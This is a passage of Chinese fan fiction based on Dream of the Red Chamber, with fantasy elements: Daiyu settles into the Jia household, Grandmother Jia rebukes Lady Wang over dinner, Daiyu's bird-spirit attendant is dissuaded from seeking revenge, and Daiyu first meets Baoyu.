鸳鸯还没从王夫人房里出来，东院的下人们大半都知道金宝石头面的事。
王夫人见过的好东西比邢夫人多多了，收了礼，谢了林如海，脸色一直淡淡的，真跟菩萨一样。
鸳鸯觑了她两眼，也拿不准她心里是什么想法。
见了二太太，又见了三位姑娘，她们倒是很高兴。
不过鸳鸯并没有见到珠大奶奶和兰哥儿，送他们的东西是二太太代为收下的。
今日林姑娘来，珠大奶奶也没来见客，说是兰哥儿身上还是不好，珠大奶奶要守着，脱不开身。
鸳鸯想着兰哥儿的病情，捶了捶酸疼的腿，辞了王夫人，去听松园寻王熙凤。
听松园中，人影幢幢，一副忙乱景象。
鸳鸯跨进院子，险些跟一个闷头闷脑往前冲的小丫头撞个满怀。
鸳鸯“哎呦”一声，把人拉住，小丫头
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本还要往前冲，一看是鸳鸯，才定住。
鸳鸯：“这是在忙什么？二奶奶呢？”
小丫头：“在屋里头盯着人呢。二奶奶叫我去拿糊窗户的纱，鸳鸯姑娘快松开我吧。”
鸳鸯放开她，小丫头一溜烟跑走了。
府里的奴才都是无利不起早，生的一双富贵眼，今儿倒是积极。
“妈妈们手头的事做完了？都往门口来做什么？！”
“平姑娘，屋里面还要人不要？多些人，也能快点帮忙把珠子捡完。”
平儿心中冷笑，放这些婆子们进去，只怕一匣子东西他们能昧半匣子，没几个手脚干净的。传出去，他们府里岂不是成了贼窝了。
“妈妈们心里想什么，我都知道。”平儿也不客气，“里头自有奶奶吩咐，不需要妈妈们惦记。人多手杂的，万一丢了东西，名声不好听是小，传到老太太那里，老太太生起气来，妈妈们怕是在府里呆不得了。”
探头探脑的婆子们闻言色变。
这意思是要把人赶出府，甚至发卖出去。
众人缩了缩脑袋。比起贪一点东西，当然还是长长久久呆在贾府才更好，一众婆子纷纷歇了捡便宜的心思。
有人却是心中不服，人走了还要嘟囔两句：“哪里就像姑娘说的这样重，莫非我们还能做贼不成？”
平儿只当没听见。
“平儿。”鸳鸯等平儿训完了话，朝她招了招手。
平儿：“你怎么来了？”
鸳鸯将她拉到一边，道：“老太太叫我来找二奶奶。刚才是怎么了？难得见你疾言厉色的，也不怕得罪了这些婆子，你又不是不知道她们的厉害。瞧你们奶奶，平日里能在她们嘴里得一句好话出来？”
王熙凤年纪轻轻管家，怕弹压不住下人，平时十分严苛。背地里没少被下人们说面甜心苦，嘴巧心毒。
反倒是平儿跟她奶奶不一样，十分柔善，少与人红脸，惹得底下人都说她跟错了主子。
平儿苦笑一声，道：“我自然是知道这些奶奶们嘴巴的厉害，没话还要嚼三分，府里谁逃过了？就是珠大奶奶，孤儿寡母关起门来过日子，她们还要说她吝啬守财，怪不得命不好。”
“就说前两日兰哥儿病了，就有婆子嚼舌根子，说她克夫又克子，也不知道兰哥儿还活不活得成，被珠大奶奶听到了，死命哭了一场，两只眼睛肿得核桃似的，现在还见不得人。”
珠大奶奶青年守寡，兰哥儿是她唯一的孩子，这话不是往她心窝子上扎。
鸳鸯被唬了一跳，“兰哥儿真的不好了？大奶奶怎么不回老太太再请大夫来看？”
她啐了一口，道：“这些婆子们嘴巴也忒不像样了！明晃晃诅咒主子，珠大奶奶当时该立刻回了二太太把人撵出去才是。”
平儿叹气：“我们奶奶也这么说，珠大奶奶不肯，说是只听到了话，没见到人，不知道是谁。”
“她也有她的难处，万万不肯张扬的。”
两人往东边看了一眼，又各自移开目光。
平儿道：“我们奶奶也去看过兰哥儿，又请了大夫，开了方子，就是不见好，也不见更差，只能这么熬着，脸都熬瘦了一圈。再过两天，要是还不行，只能去求老太太请宫里的太医来。”
鸳鸯附和：“早该如此的。”
按下珠大奶奶的事不提，鸳鸯想起自己来的目的，问：“二奶奶在屋里？林姑娘的人呢？里面还没安置好？我刚才听到，恍惚是丢了东西？是林姑娘带的东西？什么丢了？”
可别真是又出了事，老太太气还没消呢？
平儿道：“没丢什么，你听岔了，是丫头们不小心，带翻了一匣散碎珍珠，里头正叫人捡呢！”
话音刚落，屋里王熙凤叫人，“平儿，平儿！”
11. 第 11 章
“你躲到哪儿去了？刚才在跟谁说话？”
鸳鸯跟着平儿进了屋，屋里三四个丫头或伏或跪，在地上一寸寸摸索。
“二奶奶，是我。”鸳鸯抢先替平儿回了王熙凤的话。
说话间，她已经粗略打量了一圈屋里的陈设，空荡荡的房间已经被填满。
罗汉床上架着弯腿烷桌，桌上摆着秘色壶盏，靠墙的酸枝四方顶柜半掩着，两个丫头放好锦被，关上柜门。顶柜右侧扣着官皮箱。
隔扇挂上了湖绿帐子，此时用铜勾子勾起，方便里外走动。
花窗下龙方书桌上整齐码着书册，角上摆着砚台。笔架和笔山上还是空的，没来得及填上笔。
书桌旁边有一个青花大肚缸，缸里满满当当插着卷轴。
比起送礼时金银交辉的富贵外露，这里的布置低调许多，透着一股书香气。
鸳鸯心道，若是光这样布置，下人们或许真当林姑娘是个寒酸人。
他们可不认得烷桌上的越窑秘色瓷，书桌上的柴窑天青笔洗。
“鸳鸯？”王熙凤没想到是她来，疑惑道：“你这会儿来，可是替老祖宗传话？”
一边问，她一边指挥丫头们：“仔细些，桌子底下，墙角缝里多看看。”
“平儿，去取窗纱的丫头怎么还没回来？窗纱太厚了，不透光，去催催，叫人赶紧换了。再叫人点两个灯来，让丫头们照着床榻底下都找找。”
等王熙凤一叠声吩咐完，鸳鸯才插上话：“老太太叫我问这里如何了？几时能安排好？”
王熙凤：“快了，就差我刚才说的两样。不过捡珠子是个琐碎事，还要耽搁一段时间。”
平儿拿了两个烛台过来，道：“窗纱早拿回来了，已经在换了。奶奶说的灯不好用，烛火稍微一歪，就把外面的玻璃罩子熏黑了，再说也太小了，不如多点些蜡烛照着更亮一些。”
王熙凤点头：“也好......”
不等她再让人点蜡烛，白鹤托着匣子道：“二奶奶，平儿姑娘，不必再兴师动众了。珠子已经找齐了大半，剩下的也不知道蹦到哪儿去了，满屋子再打扫一遍也未必能找齐。也不是多好的东西，丢了就丢了。”
何嬷嬷给黛玉备了要梳洗的东西和替换的衣服，预备一会儿黛玉醒了以后换上。
这会儿也该去把人叫起来，免得白天睡久了，晚上走了困。
听到白鹤的话，她道：“白鹤说的是，小珠子也不值什么，不过是装点首饰边角的，有这些也够了。真要是不够，再去买就是了。”
两人都是浑不在意的态度，既如此，王熙凤着急去见贾母，也不再坚持，“既然姑娘和妈妈都这么说了，那就不找了，改明儿让下人们打扫时仔细一些。”
“你们多多留意，谁捡到了，都给林姑娘这儿送来。”
众丫鬟们齐声应“是”。
话是这么嘱咐的，但谁都知道，剩下的珠子丢了就是丢了。
一则下人们肯定贪心，主子都说不要了，当然是能昧下就昧下。二则珍珠是需要保养的，敞着放三五日，颜色就暗淡了，哪怕找到了，难不成还能拿不知道在哪儿沾了灰，或者被人踩过的珠子打首饰用。
何嬷嬷笑着夸王熙凤想得周到，再叫芙蓉拿了几百钱赏给丫头们，道：“捡了半日你们也辛苦了，这些钱给你们，拿着买果子吃。”
众人皆是欢天喜地接了钱。
收拾妥当后，听松园留白鹤守着，芙蓉跟何嬷嬷带了东西跟王熙凤一起回了贾母院子。
鸳鸯一时找不到机会提醒王熙凤贾母生气的事，只能无奈做罢。
到了正房，王熙凤去见贾母，何嬷嬷和芙蓉则去暖阁找黛玉。
鹦哥已经把人叫起来了，正服侍她梳洗，见两人来，让开了位置。
黛玉刚醒，人还有些昏沉，不过精神尚好。
青雀一直没断过渡给她的灵力，一觉醒来她身体舒服了不少。
芙蓉试了试她额头的温度，没有发热，给了青雀一个赞赏的眼神。
青雀有些萎靡，得了赞赏也只是笑了笑，一点不见平时的活泼。持续不断运转灵气，对她来说还是勉强了一些，整只鸟都快被抽干了。
擦了脸，换了衣服，喝了水，黛玉整个人都醒过神，看到青雀萎靡的样子，心疼道：“青雀辛苦了。”
她知道自己能休息好多亏了青雀。
黛玉小声跟芙蓉商量：“好姐姐，青雀出了大力，你把罚她的份例还给她吧。”
芙蓉瞥了鹦哥一眼，同样小声回道：“青雀有过，罚她是让她记住教训，不可出尔反尔。”
黛玉蹙起眉头，还想替青雀争取。
何嬷嬷见她不高兴，道：“有过该罚，有功也该赏，姑娘睡得好是她的功劳，不如赏赏她？”
黛玉眼睛一亮：“芙蓉姐姐，那就赏青雀下个月完整的份例。”
何嬷嬷噗嗤笑了出来：“我还以为姑娘会多赏一些，这不还是叫芙蓉将份例补回去吗？”
黛玉一听，觉得有理，思索着该再赏些什么。
芙蓉无奈道：“姑娘别听嬷嬷的，姑娘应该赏罚分明，不能太宽纵，否则就惯得下面人无法无天。”
她意有所指。
青雀打起精神，道：“保护姑娘是我该做的，不需要姑娘赏。”
何嬷嬷摸了摸青雀的软滑的头发道：“芙蓉不是说你。”她指的是贾家的下人。
她此时也察觉到自己的失言，警醒了一辈子，这会儿反倒说了昏话，把姑娘给教坏了。
何嬷嬷对黛玉道：“芙蓉说的没错，姑娘刚才的决定是对的，这样就很好，不宽不纵，功过相抵。”
黛玉眼睛一弯，看向芙蓉。
芙蓉点了点头，算是认可了黛玉的决定。
“青雀，太好了！”
青雀也很开心：“谢谢姑娘。”
“林姑娘好了吗？”暖阁外面有人问。
黛玉松开青雀，忙下了榻，鹦哥打起帘子，“什么事？”
“老太太传晚饭，请林姑娘过去。”
鹦哥：“这就来。”
几人往正房去，鹦哥引路，青雀还是挨着黛玉，叽叽咕咕说话，何嬷嬷和芙蓉在最后。走到一半，何嬷嬷突然感慨道：“姑娘无需别人教导，也能明道理，辨是非。”
她其实不需要来贾家的，贾家的环境反而更复杂，对姑娘不好。
芙蓉奇怪地看了她一眼，不明白她怎么一时有这么多感慨。
芙蓉道：“你又不是不知道，姑娘是非来不可。”
她皱起眉，道：“说起来，姑娘有提起见到那个人吗？”
何嬷嬷摇头：“刚才说了一番闲话，忘了问姑娘了。”
芙蓉：“那就是没有了。这么看，不是女眷，应当是男丁，就是不知道是谁。”
何嬷嬷“嘘”了一声，道：“不能把这话挂在嘴边。
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”
芙蓉冷笑。
何嬷嬷觉得贾家环境复杂对姑娘不好，她倒是觉得避男人如避蛇蝎的氛围才更古怪。
见识过大唐时开放包容的氛围，她实在不能理解如今的风气。
况且姑娘来是要还恩情的，恩人真是贾府的男丁，男女大防如此严重，双方要是碰面都困难，该怎么还？
正房里，王夫人等人还没到，黛玉落座后，王熙凤亲自捧了茶递给她，黛玉谢过后沾了唇便放到一边。
坐了一刻钟，王夫人领着迎春、探春、惜春三人过来，先替李纨告了罪。
黛玉还没见过李纨，王熙凤低声跟她解释：“她是先珠大哥哥的妻子。”
话刚落，贾母便吩咐摆饭，王熙凤起身去准备。
稍顷，众人落座，黛玉被让到贾母边上，一圈人坐下，王夫人和王熙凤还站着。
及至下人们传菜上桌，两人开始布菜。
桌上的菜都是按贾母口味做的，各色菜品都做得十分软烂，味道也重，不合黛玉的胃口，尝了几口，进了小半碗饭，黛玉便吃不下了，又不好先放筷子，只能一粒一粒米慢慢挑着吃。
“可是饭菜不合胃口？”
黛玉的动作并不突兀，谁知王夫人突然开口询问。
厅中原本鸦雀无声，她这么一问，众人的目光都看了过来。
黛玉攥着帕子，脸色通红。
鸳鸯瞥见贾母的脸色，眼皮狂跳，万万没想到二太太在这里憋着招。
王熙凤顿了顿，笑着打圆场，“我看妹妹脸色一直不好，想来是太过疲累，现在也没缓过劲来，胃口不佳吧。”
何嬷嬷皮笑肉不笑地从外间进来，道：“我们姑娘自小身体不好，常年吃药，败了胃口，总吃不了多少，这还算好的，往常一碗粥都能剩半碗。”
王夫人叹道：“可怜见的，怎么能不吃东西？再好的身体，饿上十天半月，也败坏了。你有喜欢吃的，只管告诉凤丫头，让厨子去做，身体要紧。”
何嬷嬷眼中怒气一闪而逝。
听着都是好话，道理也没错，但是私下里要菜可以，大不了多花几个钱。可当着这么多人的面，却不能提。
哪有上门做客的第一天就随便点菜的，没这样的规矩。
何嬷嬷正想开口，贾母冷冷看了王夫人一眼，道：“鸳鸯，去把东西拿来给凤丫头。”
“是。”
贾母：“撤饭吧。”
丫鬟们快手快脚撤了杯盘，井然有序退了出去。
王熙凤还没弄明白，鸳鸯回来就塞了个紫檀木匣子给她。
“老祖宗？”
贾母让她打开，环视一圈众人，最后看向王夫人，沉声道：“这里头是两千两，原是女婿放在节礼里面，当做玉儿在府中的嚼用，凤丫头收着。”
“这......”王熙凤迟疑一瞬，就听贾母继续道：“你太太说玉儿身体要紧，我想着也是。但她小孩子家家脸皮薄，又守礼，怕是不肯常常去大厨房里要菜，就在听松园设个小厨房，拨个厨娘和几个烧火丫头过来，不管是熬药还是摆饭，都方便。”
“凤丫头，这事就交给你去办，尽快办妥！”
“再有，明儿你拿帖子去请王太医过府，来给你妹妹看看，该吃什么药也尽管到药房去取。”
贾母说小厨房时，王夫人还没什么反应，待听到要请太医时，她一下子攥紧了袖口。
凭什么！
12. 第 12 章
浑身的血都在往上涌，王夫人耳边嗡嗡做响，一瞬间似乎所有声音都远去，只剩一股气冲到胸口，顶得她想放声质问贾母。
她的珠儿身体也不好，生了那么久的病，到后来病得都快死了，也没见贾母为他请几回太医。到黛玉这里，不过才来，就要巴巴让人去请。
看着长大的嫡孙还不如一个刚见面的外人重要，老太太怎么能这么偏心！
实际上要论贾母的偏心，满府里谁能越过宝玉？身为长子却要住马房旁边，把正房让给二房的贾赦更有话说。
可王夫人想不到这些，她只听到贾母是为了黛玉，一下子钻进牛角尖出不来。一想到她的珠儿，王夫人就心口发疼，脸色都灰白了几分。
偏偏她常年吃斋念佛，压抑着自身的性情，整个人修炼得跟木头似的，谁都没察觉出来她难看的脸色。
王熙凤回过味来，察觉到贾母和王夫人的针锋相对。一边是姑妈，一边是老太太，哪个都是压在她头上的大山，她哪头都不想得罪，但贾母的吩咐也不能不应。
王熙凤心中暗暗叫苦，硬着头皮道：“小厨房好办，找人在园子东边的耳房改一改，不出三天，保管就能建好，但厨子怕是难找一些。妹妹喜欢什么口味，是淮扬菜，还是其他的？”
“府里的厨子擅长的是北方菜，习惯浓油酱赤，一时半会儿也改不了做菜的习惯，还得适应适应。”
还有一个难处王熙凤没说，大厨房的人手都是有定数的，突然抽了人出来，短了人手，恐怕会乱。
与其如此，不如去外边再找个专做淮扬菜的厨子。
她对贾母要单独给黛玉准备小厨房倒也没什么看法，反正林家是出了钱的。两千两银子，聘个厨子，天天人参鲍肚换着花样来也吃得起。
黛玉搅着衣带没说话，虽然贾母和王夫人都没有疾言厉色，话里话外还处处为她着想，但她依然察觉到了两人温和表象下的暗涌。
二舅母似乎不怎么喜欢她，外祖母也生气了，是为了她的事。
她轻轻摇了摇头，不肯多说自己的想法，还想让贾母收回成命，“外祖母，我吃得惯，是刚睡久了，没醒过脾。”
何嬷嬷心疼不已，她上前道：“论理，我们姑娘是小辈，又是客人，不该提些琐碎要求，但是......”
贾母直接打断她：“玉儿是我的孙女，说什么客人不客人的，这里就是她的家，她要长长久久住下去，住得舒心才好，有什么不好提要求的。只要是为了林丫头好，你们只管说，我看谁敢嚼舌根。”
没有指名道姓，但所有人都听得出来贾母是在说谁。
迎春、惜春懵懵懂懂，姐妹俩挨在一起，像两只小动物一样瑟瑟发抖，互相抱团取暖，大气都不敢喘。
好不容易从死胡同里钻出来的王夫人身子僵了僵，木着一张脸听贾母说话。
探春虽然比迎春年纪还小，但她一向有主意，也聪明，知道王夫人吃了排头，又不能替自己辩解，有心替她解围，故而笑着道：“林姐姐那里设了小厨房，改日是不是该宴请我们？”
“听说迁了新居都是要宴客暖房的，林姐姐搬到听松园是一次，再起小厨房是另一次。”
她双手一摊，道：“林姐姐岂不是一下子欠了我们两顿饭？”
王熙凤立刻接了话凑趣，“老祖宗，你听听三妹妹说的，哪有这么算的？人家庆贺迁居都是要送礼的，她什么都不出，还要白饶林妹妹两顿饭，算盘珠子打得忒精。”
贾母敲打了王夫人一顿，也不想逼她太甚。不看僧面看佛面，为了宝玉和宫里的元春，她也不能太扫王夫人的脸面，顺着探春和王熙凤递来的台阶就下了：“小孩子都馋嘴，我看三丫头是想尝尝新鲜花样又不好直说，打着蹭林丫头的主意。别说是两顿，不吃个够，她怕是要天天找借口上门。”
何嬷嬷也笑着道：“若真是这样，却不好让三姑娘失望了。老太太一片慈爱之意，老奴就厚着脸皮替姑娘应下了。厨子也不麻烦府里，还请府里去老宅给林管家捎个口信，让他从外头寻摸一个来。”
他们本来也在找厨子，也是要过明路的，何嬷嬷原先是打算缓一缓，等熟悉了贾府的情况，人也找到了，再找机会提，如今正好。
王熙凤乐得卸下一桩麻烦，“那感情好，明儿我顺道叫人去带信。”
贾母一顿，没有反对。罢了，传到女婿那里，无非老婆子再丢一回脸，总归是瞒不住的，能封府里的口，却管不住玉儿自己带的人。
贾母这回是真的有些疲惫了，也无心再多说，连话都不想问王熙凤了，挥挥手让众人都回了。
王熙凤还不知道自己躲过了一场无妄之灾，拿着白得的两千两，高高兴兴送黛玉回听松园。
黛玉再三推辞，让王熙凤早些回去休息，她自己可以带着人回去。
王熙凤携着她的手道：“也
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不远，我带着妹妹认认路，就当替妹妹暖房了。”
“不过说好了，这可不算在两顿饭里，我最不肯吃亏，饭是一顿都不能少的。”
黛玉一下子笑了出来，心中郁气散了七分，道：“二嫂子忙前忙后，出力最多，到时候我第一个下帖子请你。”
王熙凤：“就等你这句话！一定要记得我是第一个，不然我可不依的！”
黛玉道：“好，肯定不让嫂子吃亏。”
到了听松园，王熙凤又忙忙转转检查了一遍新换的窗纱，叮嘱了下人好好做事，不可怠慢后才离开。
打发了小丫头，关上门，屋里只剩主仆四个，周围都是熟悉的物品和熟悉的人，像是回到了家里，黛玉眼睛一酸，泪意盈满了眼眶，“嬷嬷，我想爹爹了。”
何嬷嬷鼻头跟着一酸，忙搂着她安慰。
委屈的人最听不得别人安慰，越是如此，黛玉哭得越凶。
白鹤守着院子，不知道发生了什么，芙蓉将她拉到一边，说起晚饭时的经过。
“王夫人跟姑娘有仇？”白鹤听完皱眉问道。
芙蓉摇头，也是不解：“应该没有，今天才见，都没单独说过几句话。”
青雀围着哭泣的黛玉急得团团转，也不知道该怎么让她开心。无头苍蝇一样乱转了几圈，她一跺脚，脸色一变，闷着头就往外冲。
芙蓉余光看见她的影子，眼疾手快拉住她，“你干什么去？”
青雀愤愤道：“我去找王夫人！”
“你怎么找她？就这么冲过去？”
青雀摇身一晃，从芙蓉手中脱身，化作一只胸腹橙红，背覆青辉翠羽的圆滚滚雀鸟。
咚！
闷闷的声音从头顶传来。
芙蓉脸色一变，屈指一弹，青雀还没飞出去，在空中晕头转向滚了几圈，吧嗒一下拍在桌上，两只爪子抽动了几下，翻了个身，贴在桌上不动了。
黛玉听到动静抬起头，十分惊奇地瞧着青雀的真身，她第一次见到她完整的原形。
好圆！像一个大号的绒球。她举着拳头比了比，有两个拳头那么大。
还没等她多看两眼，一只纤细的手盖在绒球上，指缝里挤出几缕绒羽，看着更好捏了。
芙蓉脸色十分严肃，按住挣扎的青雀，呵斥道：“别动！”
一股常人无法察觉，若有似无的波动扫过房间，芙蓉手下按得更紧了一些。
13. 第 13 章
一只手搭在何嬷嬷肩上，把她吓了一跳，随后她摒住气，极力缩小自己的存在感。
那股凭空出现的波动像是水，柔和却又带着一种绵密的窒息感，细细密密穿过她的身体。
何嬷嬷心头升起一股凉意，带着一丝无法反抗的畏惧，魂魄似乎隐隐松动，要被从躯体中驱逐出来，人也昏沉恍惚起来。
浑身冰凉麻木中，肩上的手存在感十足，巍然不动，稍稍用力，就将她飘摇不安的魂魄重新压回了身体里。
身上一轻，那股窒息感远去，何嬷嬷晃了下神，浑浑噩噩的眼神恢复清明，同时也差点吓出一身冷汗。
她心有余悸地问：“刚才那是什么？”
芙蓉和白鹤都没说话，黛玉被严肃的气氛感染，牢牢捂着嘴。
芙蓉静静等待了片刻，探查的波动没有去而复返，似乎只打算查看一次，确认了府中安全，就再次蛰伏起来。
白鹤率先收回手，芙蓉也松开了青雀，道：“是庇护家宅的气运。”
她垂眸看向青雀。
青雀小小的一团，身上的重压移开，她蹬着爪子要站起来。但她实在圆润过头，头重脚轻，挣扎着扑腾了一会儿还是摊成一团鸟饼。
“啾？”
小小的声音婉转清脆，尾音悠悠，颤巍巍的，可怜又委屈。
她人形的时候格外灵活，走起路来恨不得脚不沾地，没想到原形的时候这么笨重无措，黛玉忍着笑轻轻将她捧起来。
大家都说话了，可见危险已经过去，她也顺势问出心中的疑惑：“发生了什么？”
一切都发生在电光火石之间，黛玉什么也没感觉到。
“对了，青雀去找二舅母要做什么？”这句她是听到了的。
“啾啾？”
视线转换，黛玉的脸在眼前放大，青雀疑惑地啾了两声。
她的叫声格外好听，又脆又亮，两只黑豆一样的眼睛还带着迷茫，一身绒羽因为揉搓按压，凌乱地炸开，胡乱支棱着，蓬松又柔软。
黛玉猝不及防捂住胸口，心脏蹦蹦乱跳，几乎要小声尖叫出来。
青雀见她一副隐忍的表情，以为她还在伤心，但她被芙蓉封了口，说不了话，只能啾啾叫着用小脑袋轻轻蹭她的掌心安慰她。
黛玉倒抽一口，一腔郁气早忘到了九霄云外，低头也用脸蹭了蹭她。
胸中的激动无处发泄，黛玉蹭完，又把青雀捧开，一只手握着她，用指头细细替她梳理身上被揉乱的羽毛，锦缎一样顺滑的触感暖呼呼，毛绒绒的，让她惬意地眯起了眼睛。
何嬷嬷见她理绒羽理得开心，心下松了一口气。
黛玉给青雀顺完毛，看她又恢复毛绒绒，光鲜亮丽的一团后，将她放回桌上，“青雀，你怎么不说话？”
青雀啾啾跳到芙蓉面前，黑豆似的眼睛可怜兮兮看着她。
芙蓉：“不准再往外跑。”
青雀忙不迭点头。
芙蓉伸手在她脑袋上一点，放开了对她的禁锢。
一能说话，青雀就迫不及待道：“她惹姑娘不开心了，我去找她，教训她替姑娘出气！”
她语气里的不满丝毫没有掩藏。
芙蓉：“......”
忘了警告她不要乱说话。虽然可能警告了，以她现在丁点儿大的脑袋也不一定能弄明白什么可以说，什么不能说。
芙蓉头疼得很，青雀看着再怎么无害，始终都是妖，骨子里总有一股妖性在，有着天真残忍的一面，只是平时没有显露出来而已。
她说的教训，对王夫人来说，可不是小打小闹。若是不能打消她的念头，指不定悄悄闹出什么事来。
她也是不明白了，好端端的，王夫人针对她们姑娘做什么！
黛玉没料到青雀是这个想法，一时张口结舌。她虽不知道青雀说的是怎么个出气法，但肯定不是好事，再者青雀会法术，二舅母却只是一个凡人，青雀想要报复，二舅母想躲都躲不过。
“不行。”黛玉严肃地对青雀道，“你不能去报复二舅母。”
“可她欺负姑娘，姑娘哭得那么伤心。”
黛玉揉了揉眼睛，耐心跟青雀解释：“我不是因为二舅母哭的，我只是太想家了。”
可能也有一点二舅母的原因，但也只是一点引子而已，这就不用跟青雀说了。
“真的？”青雀不是很相信。
黛玉坚定回答：“真的。我离家的时候，在船上的时候，不是都因为想家哭过吗？这次也是一样的。”
青雀陷入沉思，鸟喙一点点啄着胸前蓬松的绒毛，似乎在判断黛玉话里的真假。
芙蓉没有插话，姑娘能把青雀的念头按下去最好。
她侧了侧身，不经意瞥见白鹤若有所思的神情，刚刚放下的心又提了起来。
白鹤的杀伤力比青雀大了百倍不止，她要是受了青雀的启发，也想来个教训，王夫人焉有活路？
她可没忘白鹤说杀鱼时的那股干脆劲儿。
“你在想什么？”
白鹤抬头，“没想什么？”
芙蓉也想跟青雀一样，来一句“真的”？
她忍住了，低声提醒道：“你别忘了刚刚的事。咱们进府的时候虽然没有受到阻碍，但贾家也不是表面上那么简单，好歹是国公府邸，不能随意对府里的人动手！”
白鹤哧声：“你也看见了，庇护贾家的气运不强。”
外强中干，连探查第二回都吝啬使力气，那点运道，对付对付何嬷嬷和青雀还行。别说是她，芙蓉自己都不怕。整个京城的气运压过来还差不多。
不过到了那种程度，也是万不得已不能善了了。
还不至于如此。
“你放心，我不会把王夫人怎么样的。”在芙蓉不怎么信任的眼神中，白鹤给出了十分有力的保证：“凡人自有气运在，随意打杀，因果牵扯，易坠入邪魔外道。不必你提醒，殿下就会亲自出手。”
殿下二字十分有威慑力，芙蓉一想到那个人，似乎感觉到了彻骨的杀意，浑身都僵硬起来。
她其实对那位不怎么了解，只见过一两面，但光是这一两面，已经给芙蓉留下了十分深刻的印象。
“姑娘要给老爷写信吗？我可以给姑娘送信。”
青雀的声音让芙蓉打了激灵，瞬间清醒过来。
她似乎思考完毕，相信了黛玉的说辞，不再在王夫人身上纠缠。
此刻她在桌上蹦蹦跳跳，扇着翅膀卖力扑腾，叽叽喳喳道：“我可以两天，不、还是三天，就能帮姑娘把信送回扬州，再带回老爷的回信。”
“姑娘你快去写信，以后都由我帮姑娘送信，保证送得又快又准，而且我说话老爷也不会吓到。”青雀催促着黛玉。
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黛玉：“......”
就......不是很相信在桌子上东倒西歪，站都站不稳的毛团团。
芙蓉走过去伸出指头杵了青雀一下，她控制不住又贴在桌上挣扎。
黛玉忍笑，将她拈起来放好，埋怨道：“姐姐好好地干什么欺负她？”
怪可怜的。
芙蓉斜睨着青雀，“还不变回来？你去送信？一消失就是两三天，在府里大变活人，咱们怎么跟下人解释青雀姑娘三天两头失踪，活见鬼了不成？”
青雀本来就有些怕她跟白鹤两个，她又居高临下，压迫感十足。抖了抖翅膀，青雀期期艾艾道：“变、变不回来。”
白天力量被抽干，又被芙蓉禁锢一回，她现在调动不了力量化形。
芙蓉按了按额头，“明天能恢复吗？”
青雀：“可以。”
不行也得行。
芙蓉再次警告她：“以后不能随意变回原形，贾家气运可斩妖邪，你这点道行，被斩一次，非死即伤。今天是你运气好，正好在房里我才能替你遮过去，再有下次，看你还能在这里活蹦乱跳的。”
“记住了吗？”
青雀小鸡啄米：“记住了。”
一转头，黛玉充满求知欲地看着她：“姐姐说的气运是？”
芙蓉：“......姑娘还给老爷写信吗？天色不早了，该歇息了。”
大人不想给小孩子解释的时候，总是喜欢找借口转移话题。
黛玉没被轻易带歪，“嬷嬷，你帮我铺纸，我马上写。姐姐你说，我听着。”
她可以一心二用。
芙蓉也不是刻意敷衍她，黛玉坚持要听，她也就说了。
“人是最得天地钟爱的。人聚居在一起，就能汇聚气运，人气炽盛，可抵抗妖邪。”她压低了一点声音，继续道：“除此之外，王朝建立也自有气运，王朝越鼎盛，人口越多，气运越强，对妖魔压制越厉害。而作为朝廷官员，也能分润一部分气运，官职越大，气运分润得越多，能庇佑家宅后人。”
“青雀化为原形，泄露了气息，引动了气运。”
黛玉点头，心头有一丝疑惑一闪而过，但太快了，她也没抓住。
使劲想了想，也没想起疑问是什么，黛玉便丢开不管，埋头给爹爹写信。
写完信收好，黛玉洗漱后睡下。青雀趴在枕头边，身上盖着一条帕子陪她。
何嬷嬷点上安神香，放下帐子，留下一盏青叶琉璃长明灯，出了里间。
一夜无话，第二天一早，青雀果然恢复了人形。
黛玉恋恋不舍地看了她两眼，十分惋惜。芙蓉道：“姑娘要不然再养一只雀儿？”
王熙凤一大早就带着人过来丈量屋子，准备修厨房，恰好听到芙蓉的话，道：“妹妹喜欢什么样的雀儿？老祖宗那儿有一只鹦鹉，十分聪明，能学不少话，有趣得很，妹妹见了肯定喜欢，我去给妹妹要了来。”
黛玉并不是喜欢鸟儿，摇头道：“外祖母肯定也喜欢它，我每日去也能见着，何必将它移过来。”
王熙凤笑叹道：“真真是贴心窝子的话，不怪老祖宗疼你！”
闲话两句，二人一道去贾母房中请安。
还没到正房，黛玉就听到贾母爽朗的笑声。
王熙凤看到门外的小厮，哎呦一声：“是宝玉来了！”
14.第 14 章
这是黛玉第二次在别人口中听到宝玉。
屋里邢、王二位夫人都在，见到王熙凤和黛玉来了，邢夫人脸上笑得花儿一样，主动拉了黛玉的手关心她的起居：“外甥女来了？这样早，昨儿睡好了吗？”
黛玉点点头，谢过邢夫人的关心。
邢夫人笑眯眯地带着她送到贾母身边，贾母十分满意她的表现，即使她知道邢夫人是看在钱的面子上。
不满地瞥了眼不动如山的王夫人，贾母笑着推了推宝玉，道：“你刚刚不是还说昨日来了个妹妹你没见到，现在人不是来了？还不快去见过你妹妹。”
宝玉呆呆下了地，盯着黛玉看，也不说话。
他先前埋在贾母怀里扭糖似的歪缠，黛玉没看见他的模样，现下瞧见他的正脸，先是一呆，心中又是一惊，觉得他甚是眼熟。
随即见他呆呆傻傻，两眼直愣愣的，又有些恼。
黛玉撇过头，避开他的视线，就听他忽然道：“这个妹妹我见过的！”*
黛玉心下纳罕，也不计较他刚才的失礼，心道莫非他也跟自己一样，总觉得对方有一种莫名的熟悉。这么想着，不由又多看了他两眼。
她身后，青雀一见了王夫人，就气鼓鼓的，没有察觉黛玉到异常。
芙蓉若有所觉地打量着宝玉。已知姑娘要报恩的对象不是贾家女眷，宝玉又这么说，难不成就是他？
如果真是这样，那倒是省了一一确认的功夫。
只是这个宝玉......
看起来好像有些傻。
王夫人掐着手中的佛珠，见宝玉痴傻，心中不满。但昨日刚被贾母敲打过，她不敢再随意开口，更不想叫邢夫人再看笑话。
贾母却不管王夫人怎么想，宝玉亲近黛玉，两个玉儿一见如故，她心里十分高兴，招呼宝玉和黛玉到她身边坐下，一左一右将人揽住，笑得合不拢嘴。
邢夫人既想跟黛玉亲近，又想奉承贾母，便凑过去问宝玉，“你林妹妹第一次来，你又是在哪儿曾见过她？”
宝玉只是觉得黛玉亲近，不曾细想过这个问题，一时被问住了，呐呐地说不出个所以然来。
无需人提醒，邢夫人就知道自己又说错话了，不由暗恨自己嘴快，明知道宝玉是个呆的，见到好看的女孩就会发些呆病，偏去刨根究底做什么！
在贾母不悦的眼神中，邢夫人讪讪退开。
王熙凤暗啐了一口，眼珠一转，笑着替她解围，“定然是宝玉常常见到老太太，所以觉得眼熟。”
众人一时不解，王熙凤道：“妹妹是老太太嫡嫡亲的孙女，长得像老太太，宝玉可不就是早见过了？日日都见，他太过熟悉了，所以一时没想起来。”
一句话，既奉承了贾母，又捧了黛玉，还缓解了宝玉和邢夫人的尴尬，实在是高明。
